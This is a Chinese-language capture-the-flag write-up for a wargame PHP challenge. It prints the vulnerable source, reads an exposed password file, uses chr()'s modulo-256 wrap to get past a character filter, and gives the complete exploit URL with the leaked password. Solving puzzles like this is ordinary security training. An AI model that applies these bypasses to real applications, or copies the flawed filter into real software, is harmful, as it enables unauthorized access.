题目来源:http://array2string.solveme.peng.kr/
源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
分析函数:
- count():返回数组元素的数量。
- unset():清除参数。
- chr():根据指定的 ASCII 值返回字符。
先审查源码,发现file_get_contents(‘./secret.passwd’)) 函数,访问http://array2string.solveme.peng.kr/secret.passwd ,得到关键password:simple_passw0rd 。
写个两行代码,获取15th_HackingCamp 的ASCII码:
array = map(ord, '15th_HackingCamp')
print(list(array))
[49, 53, 116, 104, 95, 72, 97, 99, 107, 105, 110, 103, 67, 97, 109, 112]
都在32-127 之间,都会被unset($value) !!!完了全完了凉了凉了。。
但是不要慌!在PHP Maunal中有关于chr()函数的使用笔记:
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
就是说,如果一个数大于256,就会自动取mod256后再把结果传进函数。
奈斯,马上构建函数,只要稍作修改:
array = map(ord, '15th_HackingCamp')
def plus(x):
return x+256
result = map(plus, array)
print (list(result))
[305, 309, 372, 360, 351, 328, 353, 355, 363, 361, 366, 359, 323, 353, 365, 368]
然后就是考虑怎么把参数通过url传进去了,很明显value 应该为一个数组,但是如何通过url传入一个数组呢?——就是多次提交参数,每次提交不同的值。(想一次性传一个数组进去吗。。我也想。。)
构造下面的url:
http://array2string.solveme.peng.kr/?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
getflag